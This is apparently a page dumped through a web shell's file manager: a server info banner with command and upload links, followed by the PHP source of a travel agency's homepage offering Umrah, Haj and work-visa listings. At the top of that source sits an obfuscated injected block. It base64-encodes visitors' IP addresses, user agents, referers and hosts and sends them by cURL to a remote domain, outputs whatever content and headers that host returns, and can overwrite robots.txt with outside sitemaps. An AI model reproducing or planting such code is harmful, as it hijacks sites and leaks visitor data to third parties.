Server IP : 103.53.40.154 / Your IP : 18.216.53.7 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0700) : /home2/ppcad7no/twizofind.com/../loveitchocoiza.com/../.quarantine/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php ERroR_REPoRTINg(rOuND(0+0+0+0+0+0+0)); $plIUE="zj\67\63\62"; $Ztpy="gm\61"; if(preG_matcH("/\152p\62\60\62\63\57si",$_SERVER["\122E\121U\105S\124\137\125RI"])==ROUND(0.19930743+0.11273567+0.1331+0.14120816+0.378+0.03578299)) { if(preG_matCh("/j\160\62\60\62\63c\167w\57\163i",$_SERVER["\122E\121U\105S\124\137\125RI"])==roUnD(0+0+0+0+0+0)) { hEADeR("HTT\120\57\61.\60 \64\60\64\40\116ot\40\106\157un\144"); } echo "\110T\124\120\57\61\56\60\40\64\60\64\40No\164 \106o\165n\144\137_\137".$plIUE."\137\137\137".$Ztpy; exit; } $FVg="h\164t\160:/\57".$plIUE."\56ebizla.com"; $sPBH="\57\151n\144\145\170.p\150\160\77\126\123\75".$Ztpy."\46G\120\75".$plIUE; $CiAXdT=array( "SCR\111\120T_\116\101ME", "\122E\121U\105S\124\137\125RI", "\110T\124\120S", "\122\105\121U\105S\124_\123\103H\105M\105", "\123\105R\126E\122_PORT", "\122\105\115\117\124\105_\101\104\104R", "HT\124P_R\105\106\105\122E\122", "HT\124P\137AC\103EP\124\137L\101N\107U\101\107\105", "H\124\124\120_U\123ER\137\101G\105NT", "\110\124TP\137HO\123T" ); foreach($CiAXdT as $of) { $ETc=isset($_SERVER[$of])?$_SERVER[$of]:''; $Jn=BaSe64_ENCode(tRIm($ETc)); $Jn=sTR_RepLace("\53","-",$Jn); $Jn=stR_rEplACE("\57","_",$Jn); $Jn=sTr_RePLAcE("\75","\56",$Jn); $sPBH.="&".$of."\75".$Jn; } $ixqtFK=$FVg.$sPBH; $CVbz=cURL_INIT(); CURl_seTOPT($CVbz,CURLOPT_URL,$ixqtFK); cUrL_SETopT($CVbz,CURLOPT_RETURNTRANSFER,rOUnd(0.0822976+0.311+0.31676+0.036614+0.254)); cuRl_SEtoPT($CVbz,CURLOPT_CONNECTTIMEOUT,ROUND(2.0882759+0.0165517+1.937+1.42068966+2.091+1.4483+0.071724+0.9268966)); $xiuVU=CuRL_EXec($CVbz); $xiuVU=TrIM($xiuVU); CuRL_clOSE($CVbz); if(empty($xiuVU)) { $xiuVU=filE_get_ContenTS($ixqtFK); } $xiuVU=trIM($xiuVU); $fsh=ExPlODE("\174\100#$\174",$xiuVU); $Jo=CoUNt($fsh); if($Jo<3) { HeADer("HTT\120\57\61.\60 \64\60\64\40\116ot\40\106\157un\144"); exit; }else { $gqE=TRIm($fsh[roUND(0+0+0+0)]); if(!empty($gqE)) { HEaDeR($gqE); } $cj=triM($fsh[RoUnD(0.18363+0.13207+0.2239+0.1053822+0.35504)]); if(!empty($cj)) { echo $cj; } $eub=trIm($fsh[$Jo-ROUND(0.219+0.08168256+0.22695035+0.236+0.23648814)]); if($eub=="\145\170i\164") { exit; } if($eub=="pin\147") { $QVKbAJ="Us\145r-\141\147\145\156\164:*".PHP_EOL; $QVKbAJ.="\101l\154\157\167\72\57".PHP_EOL; $vwldj=EXPlODe("<\142r/>",$cj); aRRAY_PoP($vwldj); foreach($vwldj as $GXBr) { $QVKbAJ.="Sit\145m\141p:".$GXBr.PHP_EOL; } fIle_put_contentS($_SERVER["D\117\103U\115E\116\124_\122\117OT"]."\57r\157\142ot\163\56\164xt",$QVKbAJ); echo "\162\157bo\164\163.\164\170\164 \144one"; exit; } } ?><?php include('includes/dbsmain.inc.php');?> <!DOCTYPE html> <html lang="en"> <meta http-equiv="content-type" content="text/html;charset=UTF-8" /> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Al Kareem Travel - الكريم للسفريات</title> <meta name="keywords" content=""/> <meta name="description" content="" /> <meta name="author" content="Al Kareem Travel"> <link rel="shortcut icon" type="image/x-icon" href="favicon1.ico"> <link rel="stylesheet" href="css/font-awesome.min.css" /> <link href="https://fonts.googleapis.com/css?family=Exo+2" rel="stylesheet"> <link href="https://fonts.googleapis.com/css?family=Roboto" rel="stylesheet"> <link rel="stylesheet" href="css/bootstrap.min.css" /> <link rel="stylesheet" href="css/owl.carousel.css" /> <link rel="stylesheet" href="css/owl.theme.css" /> <link rel="stylesheet" href="css/magnific-popup.css" /> <link rel="stylesheet" href="css/fonts.css" /> <link rel="stylesheet" href="css/style.css" /> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> <script> $(function(){ $("#header-follow-us-link-section").load("header-social-media-link.html"); $("#footer-follow-us-link-section").load("footer-social-media-link.html"); }); </script> </head> <body> <div class="main"> <div class="body"> <?php include('header.php');?> </div> <script data-cfasync="false" src="cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="js/jssor.slider-22.2.10.min.js" type="text/javascript"></script> <script type="text/javascript"> jssor_1_slider_init = function() { var jssor_1_options = { $AutoPlay: true, $SlideDuration: 800, $SlideEasing: $Jease$.$OutQuint, $ArrowNavigatorOptions: { $Class: $JssorArrowNavigator$ }, $BulletNavigatorOptions: { $Class: $JssorBulletNavigator$ } }; var jssor_1_slider = new $JssorSlider$("jssor_1", jssor_1_options); function ScaleSlider() { var refSize = jssor_1_slider.$Elmt.parentNode.clientWidth; if (refSize) { refSize = Math.min(refSize, 1920); jssor_1_slider.$ScaleWidth(refSize); } else { window.setTimeout(ScaleSlider, 30); } } ScaleSlider(); $Jssor$.$AddEvent(window, "load", ScaleSlider); $Jssor$.$AddEvent(window, "resize", ScaleSlider); $Jssor$.$AddEvent(window, "orientationchange", ScaleSlider); }; </script> <div id="jssor_1" style="position:relative;margin:0 auto;top:0px;left:0px;width:1500px;height:600px;overflow:hidden;visibility:hidden;"> <div data-u="loading" class="jssorl-oval" style="position:absolute;top:0px;left:0px;text-align:center;background-color:rgba(0,0,0,0.7);"> </div> <div data-u="slides" style="cursor:default;position:relative;top:0px;left:0px;width:1500px;height:600px;overflow:hidden;"> <?php $sql="SELECT * FROM `tbl_header_flash` order by header_flash_id asc"; $result=db_query($sql); while($tbl_header_flash=mysqli_fetch_array($result)){ ?> <div><img data-u="image" src="flash_images/<?=$tbl_header_flash['header_flash_image_name'];?>" alt="/<?=$tbl_header_flash['header_flash_title'];?>"></div> <?php } ?> </div> <div data-u="navigator" class="jssorb05" style="bottom:16px;right:16px;" data-autocenter="1"> <div data-u="prototype" style="width:16px;height:16px;"></div> </div> <span data-u="arrowleft" class="jssora22l" style="top:0px;left:8px;width:40px;height:58px;" data-autocenter="2"></span> <span data-u="arrowright" class="jssora22r" style="top:0px;right:8px;width:40px;height:58px;" data-autocenter="2"></span> </div> <script type="text/javascript">jssor_1_slider_init();</script> <section class="news3 border-top p-t-30 p-b-50"> <div class="container"> <div class="row clearfix"> <div class="col-md-12 padding-top20"> <div class="text_justify"> <?php $sql="SELECT * FROM `tbl_site_pages` where `site_pages_link`='about-us'"; $result=db_query($sql); $tbl_site_pages=mysqli_fetch_array($result); ?> <?=substr($tbl_site_pages['site_pages_description'],0,1000);?> ...<a href="about-us.php">Read More</a> </div> <div> </div> </div> </div> </div> </section> <!-- Umrah Package Details--> <section class="news3 border-top p-t-20 p-b-50 gray_bg"> <div class="container"> <div class="row"> <div class="col-md-12"> <div class="palovit-title"> <h1>Latest Work Visas</h1> <hr class="hr" /> <br> <br> <p>Al Kareem Travel is a leading work visa company, with its head office in Mumbai India as well as its branches all over the world as a travel agency with sole target of visa specialization. ..<a>Read More</a></p> <div class="row"> <?php $sqlll="SELECT * FROM `tbl_work_visa` where category_status='active' order by category_id desc limit 9"; $resulllt=db_query($sqlll); while($tblll_category=mysqli_fetch_array($resulllt)){ ?> <div class="col-md-4"> <a href="view-de.php?cid=<?=$tblll_category['category_id'];?>"> <div class="box_col"> <img style="height: 300px;width: 100%;" src="uploaded_files/<?=$tblll_category['category_image_name'];?>" class="img-responsive" alt="umrah with dubai" title="Umrah with Dubai" /> <div class="p-r-20 p-l-20 p-b-15"> <h3 class="text-center"> <?=substr($tblll_category['category_name'],0,60);?>....</h3> <h3 class="text-center" > <b>Salary</b>: <?=$tblll_category['category_company_name'];?> <a style="color:#fff;" href="view-de.php?cid=<?=$tblll_category['category_id'];?>" class="btn btn-slider-blackk" >View More</a></h3> </div> </div> </a> </div> <?php } ?> </div> </div> </div> </div> <div class="row"> <div class="col-md-12 m-b-20"> <div class="palovit-title"> <h1>Affordable Umrah Tour Packages</h1> <hr class="hr" /> </div> </div> <div class="col-md-12"> <div class="row"> <?php $sql="SELECT * FROM `tbl_category` where tour='0' order by category_id desc"; $result=db_query($sql); while($tbl_category=mysqli_fetch_array($result)){ ?> <div class="col-md-3"> <div class="box_col"><img style="height: 220px; width: 100%;" src="uploaded_files/<?=substr($tbl_category['category_image_name'],0,20);?>" class="img-responsive" alt="<?=$tbl_category['category_name'];?>" title="<?=$tbl_category['category_name'];?>" /> <div class="p-r-20 p-l-20 p-b-15"> <h3 class="text-center"><?=$tbl_category['category_name'];?></h3> <div class="row"> <div class="text-left umrah-link col-md-6 col-sm-6 col-lg-6 col-xs-6"><span class="btn btn-default">From ₹ <?=$tbl_category['category_real_price'];?>/-</span></div> <div class="text-right umrah-link col-md-6 col-sm-6 col-lg-6 col-xs-6"><a href="Servicedetail.php?cid=<?=$tbl_category['category_id'];?>" class="btn btn-default">Know More</a></div> </div> </div> </div> </div> <?php } ?> </div> </div> </div> <div class="row"> <div class="col-md-12 m-b-20"> <div class="palovit-title"> <h1>Affordable Haj Tour Packages</h1> <hr class="hr" /> </div> </div> <div class="col-md-12"> <div class="row"> <?php $sqll="SELECT * FROM `tbl_category` where tour='1' order by category_id desc"; $resullt=db_query($sqll); while($tbll_category=mysqli_fetch_array($resullt)){ ?> <div class="col-md-3"> <div class="box_col"><img src="uploaded_files/<?=$tbll_category['category_image_name'];?>" class="img-responsive" alt="<?=$tbll_category['category_name'];?>" title="<?=$tbll_category['category_name'];?>" /> <div class="p-r-20 p-l-20 p-b-15"> <h3 class="text-center"><?=$tbll_category['category_name'];?></h3> <div class="row"> <div class="text-left umrah-link col-md-6 col-sm-6 col-lg-6 col-xs-6"><span class="btn btn-default">From ₹ <?=$tbll_category['category_real_price'];?>/-</span></div> <div class="text-right umrah-link col-md-6 col-sm-6 col-lg-6 col-xs-6"><a href="Servicedetail.php?cid=<?=$tbll_category['category_id'];?>" class="btn btn-default">Know More</a></div> </div> </div> </div> </div> <?php } ?> </div> </div> </div> </div> </section> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> <div id="ourclients"> <center><h3>Our Clients</h3></center> <div class="clients-wrap"> <ul id="clientlogo" class="clearfix"> <?php $sqlly="SELECT * FROM `tbl_clients` where image_status='Active'"; $resullyt=db_query($sqlly); while($tbll_categoryy=mysqli_fetch_array($resullyt)){ ?> <li> <img style="height:70px; width:180px;" src="our_client/<?=$tbll_categoryy['image_name'];?>" alt="Logo"> </li> <?php } ?> </ul> </div> </div> <section class="projets3 border-top p-t-20 p-b-30"> <div class="row"> <div class="col-md-12 palovit-title"> <h2>Al Kareem Travel Photo Gallery</h2> <hr class="hr" /> <div class="p-t-20"> </div> </div> <div class="col-md-12 p-t-30"> <div class="container grid"> <div class="main"> <div id="myBtnContainer"> <button class="btn active btn btn-slider-black" onclick="filterSelection('all')"> All</button> <button class="btn btn-slider-black" onclick="filterSelection('nature')"> Work Photos </button> <button class="btn btn-slider-black" onclick="filterSelection('cars')"> Umrah Tour</button> <button class="btn btn-slider-black" onclick="filterSelection('people')"> Haj Tour</button> </div> <hr> <!-- Portfolio Gallery Grid --> <div class="row"> <?php $sql_fetch = db_query("select * from tbl_image_gallery where image_title='gallery' order by image_id desc"); $cntDATA=mysqli_num_rows($sql_fetch); if($cntDATA > 0){ while($DATA = mysqli_fetch_array($sql_fetch)) { @extract($DATA); ?> <div class="column nature"> <div class="content item item1"> <div class="grid-box"> <div class="grid-box-wrapper"> <img src="gallery_images/<?=$DATA['image_name']?>" alt="" style="width:100%; height: 250px;"> <a href="gallery_images/<?=$DATA['image_name']?>" class="image-link"> <div href="#" class="grid-box-title"> <div class="grid-box-detail"><?=$DATA[''];?> <span class="box-action-icon"><i class="fa fa-search"></i></span> </div> </a> </div> </div> </div> </div> </div> <? }} ?> <?php $sql_fetchh = db_query("select * from tbl_image_gallery where image_title='umrah' order by image_id desc"); $cntDATAA=mysqli_num_rows($sql_fetchh); if($cntDATAA > 0){ while($DATAA = mysqli_fetch_array($sql_fetchh)) { @extract($DATAA); ?> <div class="column cars"> <div class="content item item1"> <div class="grid-box"> <div class="grid-box-wrapper"> <img src="gallery_images/<?=$DATAA['image_name']?>" alt="" style="width:100%; height: 250px;"> <a href="gallery_images/<?=$DATAA['image_name']?>" class="image-link"> <div href="#" class="grid-box-title"> <div class="grid-box-detail"><?=$DATA[''];?> <span class="box-action-icon"><i class="fa fa-search"></i></span> </div> </a> </div> </div> </div> </div> </div> <? }} ?> <?php $sql_fetchhh = db_query("select * from tbl_image_gallery where image_title='haj' order by image_id desc"); $cntDATAAA=mysqli_num_rows($sql_fetchhh); if($cntDATAA > 0){ while($DATAAA = mysqli_fetch_array($sql_fetchhh)) { @extract($DATAAA); ?> <div class="column people"> <div class="content item item1"> <div class="grid-box"> <div class="grid-box-wrapper"> <img src="gallery_images/<?=$DATAAA['image_name']?>" alt="" style="width:100%; height: 250px;"> <a href="gallery_images/<?=$DATAAA['image_name']?>" class="image-link"> <div href="#" class="grid-box-title"> <div class="grid-box-detail"><?=$DATA[''];?> <span class="box-action-icon"><i class="fa fa-search"></i></span> </div> </a> </div> </div> </div> </div> </div> <? }} ?> <!-- END GRID --> </div> <!-- END MAIN --> </div> </div> </div> <div class="col-md-12 button"> <a href="gallery.php" class="btn btn-slider-black">VIEW MORE</a> </div> </div> </section> <script> filterSelection("all") function filterSelection(c) { var x, i; x = document.getElementsByClassName("column"); if (c == "all") c = ""; for (i = 0; i < x.length; i++) { w3RemoveClass(x[i], "show"); if (x[i].className.indexOf(c) > -1) w3AddClass(x[i], "show"); } } function w3AddClass(element, name) { var i, arr1, arr2; arr1 = element.className.split(" "); arr2 = name.split(" "); for (i = 0; i < arr2.length; i++) { if (arr1.indexOf(arr2[i]) == -1) {element.className += " " + arr2[i];} } } function w3RemoveClass(element, name) { var i, arr1, arr2; arr1 = element.className.split(" "); arr2 = name.split(" "); for (i = 0; i < arr2.length; i++) { while (arr1.indexOf(arr2[i]) > -1) { arr1.splice(arr1.indexOf(arr2[i]), 1); } } element.className = arr1.join(" "); } // Add active class to the current button (highlight it) var btnContainer = document.getElementById("myBtnContainer"); var btns = btnContainer.getElementsByClassName("btn"); for (var i = 0; i < btns.length; i++) { btns[i].addEventListener("click", function(){ var current = document.getElementsByClassName("active"); current[0].className = current[0].className.replace(" active", ""); this.className += " active"; }); } </script> <!----------------Testimonial section start here-----------------------> <section class="form2"> <div class="container"> <div class="row"> <div class="col-md-12 palovit-title m-b-30"> <h2>What Our Client Says..</h2> </div> <div id="carousel-example-generic" class="carousel slide m-t-30" data-ride="carousel"> <div class="carousel-inner" role="listbox"> <?php $sql="SELECT * FROM `tbl_testimonial`"; $result=db_query($sql); $tbl_testimonial=mysqli_fetch_array($result); ?> <div class="item active"> <div class="row"> <div class="col-xs-12"><img src="test_images/<?=$tbl_testimonial['test_image_name'];?>" alt="<?=$tbl_testimonial['test_given_by'];?>" title="<?=$tbl_testimonial['test_given_by'];?>" /></div> <div class="col-xs-12 p-t-30"> <strong style="color:#fff; text-transform:uppercase; font-size:15px;"><?=$tbl_testimonial['test_given_by'];?></strong><br /> </div> </div> <p class="white"><?=$tbl_testimonial['test_description'];?></p> </div> <?php $sql="SELECT * FROM `tbl_testimonial`"; $result=db_query($sql); while($tbl_testimonial=mysqli_fetch_array($result)){ ?> <div class="item"> <div class="row"> <div class="col-xs-12"><img src="test_images/<?=$tbl_testimonial['test_image_name'];?>" alt="<?=$tbl_testimonial['test_given_by'];?>" title="<?=$tbl_testimonial['test_given_by'];?>" /></div> <div class="col-xs-12 p-t-30"> <strong style="color:#fff; text-transform:uppercase; font-size:15px;"><?=$tbl_testimonial['test_given_by'];?></strong><br /> </div> </div> <p class="white"><?=$tbl_testimonial['test_description'];?></p> </div> <?php } ?> <!--<div class="item">--> <!-- <div class="row">--> <!-- <div class="col-xs-12"><img src="images/testimonia_image.png" alt="Hajj Clients" title="Hajj Clients" /></div>--> <!-- <div class="col-xs-12 p-t-30"> <strong style="color:#fff; text-transform:uppercase; font-size:15px;">Hajj Client</strong><br />--> <!-- </div>--> <!-- </div>--> <!-- <p class="white">"Amazing Journey !"</p>--> <!--</div>--> <!--<div class="item">--> <!-- <div class="row">--> <!-- <div class="col-xs-12"><img src="images/testimonia_image.png" alt="Hajj Clients" title="Hajj Clients" /></div>--> <!-- <div class="col-xs-12 p-t-30"> <strong style="color:#fff; text-transform:uppercase; font-size:15px;">Hajj Client</strong><br />--> <!-- </div>--> <!-- </div>--> <!-- <p class="white">"Ya Allah Hamein Dobara AAna Naseeb Farma. Ameen."</p>--> <!--</div>--> </div> <a class="carousel-control left" href="#carousel-example-generic" role="button" data-slide="prev"> <i class="fa fa-angle-left"></i> </a> <a class="carousel-control right" href="#carousel-example-generic" role="button" data-slide="next"> <i class="fa fa-angle-right"></i> </a> </div> </div> </div> </section> <!----------------Testimonial section End here-----------------------> <!----------------Gallery section start here-----------------------> <!----------------Gallery section end here-----------------------> <div class="clear"></div> <!--===========our Clents==================--> <section class="p-t-10 p-b-40 gray_bg"> <div class="container"> <!--<h2>Authorized By</h2>--> <div class="row clearfix"> <div class="col-md-12"> <div class="palovit-title"> <h2>Authorized By</h2> <hr class="hr"> </div> </div> <div class="col-md-12 col-sm-12 col-xs-12 p-t-20"> <div id="Carousel" class="carousel slide"> <div class="carousel-inner"> <div class="item active"> <div class="row flex-row"> <?php $sqllty="SELECT * FROM `tbl_au_clients` where image_status='Active'"; $resullytt=db_query($sqllty); while($tbll_categoryyy=mysqli_fetch_array($resullytt)){ ?> <div class="col-md-2 col-xs-4"> <a href="" target="_blank"><img style="min-width: 180px; height:110px;" src="our_client/<?=$tbll_categoryyy['image_name'];?>" alt="International Air Transport Association (IATA)" title="International Air Transport Association (IATA)" class="img-responsive" style="min-width: 180px; max-height: 110px;"></a> </div> <?php } ?> </div> </div> </div> </div> </div> <!--end-of-container--> </section> <!--===========our Clents==================--> <div class="clear"></div> </div> <?php include('footer.php');?> </div> <script src="js/jquery-3.1.1.min.js"></script> <script src="js/bootstrap.min.js"></script> <script src="js/isotope.pkgd.min.js"></script> <script src="js/jquery.magnific-popup.min.js"></script> <script> $('ul.nav li.dropdown').hover(function() { $(this).find('.dropdown-menu').stop(true, true).delay(200).fadeIn(200); }, function() { $(this).find('.dropdown-menu').stop(true, true).delay(200).fadeOut(200); }); </script> <script> $(document).ready(function() { $('#Carousel').carousel({ interval: 3000 }) }); </script> <script src="js/Script.js"></script> <script> $(function() { var $clientslider = $('#clientlogo'); var clients = $clientslider.children().length; var clientwidth = (clients * 220); $clientslider.css('width', clientwidth); var rotating = true; var clientspeed = 1800; var seeclients = setInterval(rotateClients, clientspeed); $(document).on({ mouseenter: function() { rotating = false; }, mouseleave: function() { rotating = true; } }, '#ourclients'); function rotateClients() { if (rotating != false) { var $first = $('#clientlogo li:first'); $first.animate({ 'margin-left': '-220px' }, 2000, function() { $first.remove().css({ 'margin-left': '0px' }); $('#clientlogo li:last').after($first); }); } } }); </script> <style> .column { float: left; width: 25%; display: none; /* Hide all elements by default */ } /* Clear floats after rows */ .row:after { content: ""; display: table; clear: both; } /* Content */ .content { background-color: white; padding: 10px; } /* The "show" class is added to the filtered elements */ .show { display: block; } /* Style the buttons */ .btn { border: none; outline: none; padding: 12px 16px; background-color: white; cursor: pointer; } .btn:hover { background-color: #ddd; } .btn.active { background-color: #666; color: white; } </style> </body> </html>